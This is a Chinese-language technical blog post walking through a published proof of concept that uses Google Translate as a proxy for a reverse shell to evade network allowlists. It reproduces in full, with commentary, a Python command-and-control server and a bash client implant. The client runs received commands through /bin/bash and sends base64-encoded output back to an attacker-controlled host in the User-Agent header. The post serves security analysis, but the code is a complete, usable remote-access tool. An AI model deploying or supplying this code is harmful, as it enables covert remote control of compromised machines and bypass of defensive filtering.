利用Google Translator做为代理向受感染计算机发送任意命令并执行(Google Translator Reverse Shell) Poc详解

简介

Google Translator Reverse Shell 是国外安全研究人员 Matheus Bernardes 在近期发现的,Poc地址: github.com/mthbernarde…html

Reverse Shell

在具体介绍漏洞以前,咱们先介绍一下常规的 Reverse Shell 设受感染计算机为 T,攻击者为 A ,在常规状况下,经过植入恶意脚本,可让 T 不断向 A 发送请求,从 A 获取命令执行,而且在下一次请求时附带上次命令执行的结果,过程以下图所示。python

这是一个典型的 Reverse Shell,受害者不断请求攻击者获取命令,而且在请求时附带上次命令的执行结果。但这种 Reverse Shell 有一个限制,那就是当 Infect Target 采用了白名单机制时,就没法链接到 Attacking Machine 了。linux

Matheus Bernardes 提出的 Google Translator Reverse Shell 漏洞则是巧妙的利用了 Google Translator 服务,让 Infect Machine 经过使用 Google Translator 做为代理访问 Attacking Machine。git

Google Translator Reverse Shell

Google Translator 是Google提供的在线翻译服务,众所周知的是它能将A语言翻译为B语言,但它还有个较为小众的功能是翻译特定网站的内容,使用方式为https://translate.google.com/translate?anno=2&u=<site url>,最后的 u 参数即为要翻译的网站所对应的 url,例如咱们传入baidu的url,能够看到 Google Translator 将 Baidu 的整站内容进行了翻译。github

更为重要的是,对要翻译的网站发起请求并不是在浏览器端完成,而是在Google的Translate服务中完成,利用这一特性,咱们能够将Google Translator做为代理,去访问任意网站。web

设想一种状况,Infect Machine 的白名单中极可能包含了 Google 全域,在这种状况下咱们可让 Infect Machine 先链接到 Google Translator,而后以此为代理去访问 Attacking Machine 的服务,过程以下图所示。shell

由上图可见,Infect Target 经过 Google Translator 翻译 Attacking Machine 提供的网页从而获取 command,而且在下一次执行翻译时,将上次命令的执行结果做为 query 参数传递。浏览器

实现

下面分析一下 Poc 中的具体代码逻辑,漏洞包含须要植入 Infect Target 的 client.sh 脚本 以及 Attacking Maching 的 Server 端脚本 server.py,咱们先分析较为简单地 server.py安全

Server 端实现

根据上面的分析,Server 端的主要任务是不断处理从 Google Translator 发来的请求,提取其中的命令结果,并将下一条要执行的命令做为响应返回,Matheus Bernardes 给出的方案是一个交互式的简易服务端,在请求到达时会开启一个输入缓冲区并挂起请求,当 Attacking Machine 端的攻击者输入要返回的内容后,请求继续执行,以响应的形式返回输入的内容,完整代码以下。bash

#!/usr/bin/python

from uuid import uuid4
from urlparse import urlparse, parse_qs
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer

serverPort = 80
secretkey = str(uuid4())

class webServer(BaseHTTPRequestHandler):

    def do_GET(self,):
        # 因为GET请求限制了参数长度,这里巧妙地利用了UA来传递命令执行的结果
        # Google Translator会将Infect Target的请求UA转发到Attacking Machine
        useragent = self.headers.get('User-Agent').split('|')
        # 解析query data
        querydata = parse_qs(urlparse(self.path).query)
        # 这里采用了uuid认证机制,保证到达Attacking Machine的请求源头来自指定的Infect Target
        if 'key' in querydata:
            if querydata['key'][0] == secretkey:
                # 只有uuid匹配才能继续执行
                self.send_response(200)
                self.send_header("Content-type","text/html")
                self.end_headers()
                
                # 若是UA中包含了命令的返回值,说明此次请求仅用于返回上次命令的执行结果
                if len(useragent) == 2:
                    # 从UA中提取命令的结果,并将其打印出来,Infect Target在传输时使用了base64编码,这里进行解码
                    response = useragent[1].split(',')[0]
                    print(response.decode("base64"))
                    # UA包含命令返回值时,返回空响应,即不执行命令
                    self.wfile.write("")
                    return
                    
                # 若是UA中没有命令返回值,则说明此次请求用于接收命令,要求用户在shell输入内容,并挂起请求
                cmd = raw_input("$ ")
                # 用户输入命令后,将其做为响应返回
                self.wfile.write("{}".format(cmd))
                return
        # uuid匹配失败,返回404错误
        self.send_response(404)
        self.send_header("Content-type","text/html")
        self.end_headers()
        self.wfile.write("Not Found")
        return

    def log_message(self, format, *args):
        return

try:
    server = HTTPServer(("", serverPort), webServer)
    print("Server running on port: {}".format(serverPort))
    print("Secret Key: {}".format(secretkey))
    server.serve_forever()
except KeyboardInterrupt:
    server.socket.close()
复制代码

这里有三个要点:

  1. 服务端每次启动时会生成一个 uuid 来做为与 Infect Target 通讯的凭证;
  2. 上面的讲解中提到 Infect Target 能够经过 url query 来将命令的结果传递到 Attacking Machine,但 url query 有长度限制,致使了一些局限性,Matheus Bernardes 发现利用 UA 传递数据可以破除长度限制,所以在上面的代码中,都是使用 UA 传递的结果;
  3. 请求分为两种,第一种是 Infect Target 向 Attacking Machine 获取命令,第二种是 Infect Target 将命令的执行结果传递给 Attacking Machine,区分他们的方式是 UA 中是否包含了参数。
    • Infect Target 在接收命令时,所传递的 UA 将只包含设备信息,形如User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36,在这种状况下,服务端应当返回命令内容。
    • Infect Target 在返回执行结果时,所传递的 UA 会包含两部分,一部分是上文提到的普通 UA,这里称为 Raw UA,另外一部分则是命令执行结果的 base64 形式,二者用|链接,形如User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 |base64(cmd_result)

Client端实现

根据上文的分析,Client端主要有两个任务,其一是接收命令,其二是返回结果,两个任务都经过向 Google Translator 发送请求来完成,在介绍代码前,先介绍一下linux中的 FIFO 管道。

mkfifo简介

在Linux中有一个mkfifo命令,可以生成一个 FIFO 管道文件,当 FIFO 中没有内容时,对 FIFO 的读写都会形成阻塞,下面举一个简单例子。

# 建立一个FIFO
>> mkfifo log.pipe

# 从FIFO读内容,因为FIFO为空,读被阻塞,等待内容被写入
>> cat log.pipe

# 新开启一个Shell Session,向FIFO写入内容
>> echo 'hello' > log.pipe

# 会发现阻塞读的Shell Session返回了,内容为 hello
>> cat log.pipe
hello
复制代码

反过来,若是一个Shell Session向一个未被阻塞读的FIFO中写内容,也会被阻塞,待有人读取时,读取者会当即收到内容,写阻塞的Session也会正常返回。

经过实验能够发现,FIFO 管道有如下特性:

  1. 当 FIFO 为空,读和写都会形成阻塞;
  2. 当有多个生产者写阻塞时,单个消费者能够一次性得到全部消费者写阻塞的消息;
  3. 当有多个消费者读阻塞时,生产者的消息仅能被一个消费者所消费,其余的消费者都会返回空数据。

利用这些特性,FIFO 管道能够做为进程间通讯的工具,在本文介绍的 Poc 中,利用 FIFO 管道优雅的控制了命令的执行与结果的回写,关键代码以下。

input="/tmp/input"
output="/tmp/output"
mkfifo "$input"
tail -f "$input" | /bin/bash 2>&1 > $output &
复制代码

第一句创建了一个 input FIFO,用于接收命令,第二句利用 tail -f 不间断读取 input FIFO,便可不断的消费被生成出来的命令,命令经过管道传递给 /bin/bash 执行,这里的2>&1是指将标准错误输出stderr:2重定向到标准输出stdout:1,即将命令的全部返回结果所有以标准输出形式表达,最后将命令的执行结果写入 output 文件。

利用 FIFO,可以将命令的执行和结果获取与 client.sh 的其余逻辑解耦,在 client.sh 获取到命令后,只须要经过写入 input FIFO 便可执行,随后即可以从 output 文件获取到命令执行的内容,很是的巧妙。

完整分析

下面咱们分析 client.sh 的完整代码。

#!/bin/bash 
# 这里要求在调用client.sh时提供两个参数,分别是server地址和通讯凭证
if [[ $# < 2 ]];then
    echo -e "Error\nExecute: $0 www.c2server.com secretkey-provided-by-the-server\n"
    exit
fi

running=true
secretkey="$2"
user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
c2server="http://$1/?key=$secretkey"
result=""
input="/tmp/input"
output="/tmp/output"

# 上文中分析的命令执行和结果存储的关键代码
function namedpipe(){
  rm "$input" "$output"
  mkfifo "$input"
  tail -f "$input" | /bin/bash 2>&1 > $output &
}

function getfirsturl(){
  # 首次请求,要求Google Translator翻译server内容,这里Google Translator会给出一个iframe,并提供一个确认连接,询问是否要翻译server的内容
  # 下面的代码将curl请求的响应中iframe的src分离出来,用于后续请求iframe内容
  url="https://translate.google.com/translate?&anno=2&u=$c2server"
  first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g' )
} 

function getsecondurl(){
  # 二次请求,请求Google Translator提供的iframe src,iframe中包含了待翻译网站的重定向连接,此次请求提取到了翻译server内容结果页的真实url
  second=$(curl --silent -L "$first" -H "$user_agent"  | xmllint --html --xpath '//a/@href' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g')
}

function getcommand(){
  # 从二次请求得到的url继续请求,便可得到server的内容
  # 若是命令执行结果result不为空,则在请求时在UA中附带result
  if [[ "$result" ]];then
    command=$(curl --silent $second -H "$result" )
  else
    command=$(curl --silent $second -H "$user_agent" )
    
    # 从翻译结果中提取命令内容
    command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)
    command2=$(echo "$command" | xmllint --html --xpath '//body/text()' - 2>/dev/null)
    if [[ "$command1" ]];then
      command="$command1"
    else
      command="$command2"
    fi
  fi
}

# 一个完整的请求交互流程
function talktotranslate(){
  getfirsturl
  getsecondurl
  getcommand
}

function main(){
  # 一轮Reverse Shell交互循环
  result=""
  # 经过一个请求交互流程去获取命令
  talktotranslate
  if [[ "$command" ]];then
    # 执行命令,发现是exit则退出循环
    if [[ "$command" == "exit" ]];then
      running=false 
    fi
    # 清空结果文件
    echo -n > $output
    # 将命令写入 input FIFO,根据上文分析,命令会自动经过/bin/bash执行
    echo "$command" > "$input"
    # 等待命令执行结束
    sleep 2
    # 从output获取命令执行结果,并进行base64编码
    outputb64=$(cat $output | tr -d '\000'  | base64 | tr -d '\n'  2>/dev/null)
    if [[ "$outputb64" ]];then
      # 将结果写入UA,并发送一个返回命令执行结果的请求
      result="$user_agent|$outputb64"
      talktotranslate
    fi
  fi
}

# 首先开启 FIFO
namedpipe
# 不断循环交互过程,实现Reverse Shell
while "$running";do
  main
done
复制代码

client.sh 的逻辑很是清晰,惟一比较复杂的内容是从 Google Translator 的结果中提取翻译结果,因为 Google 会先显示一个iframe询问用户是否真的要翻译 server 内容,并提供了一个重定向连接。所以为了获取到这个重定向连接,必须先从主站获取 iframe 的 src,即getfirsturl,随后请求iframe,并从中获取到重定向连接,即getsecondurl,这时候才能从重定向连接中真正请求到被翻译内容。

总结

Matheus Bernardes 给出了一种突破网站白名单限制实现Reverse Shell的思路,很是tricky地利用了Google Translator的特性,这里不由引发思考,Google为什么不将 Translator 的网站请求放到浏览器中完成,这样不只可以下降 Google 的成本,并且可以避免被用做代理完成相似的操做。

参考资料

相关文章
相关标签/搜索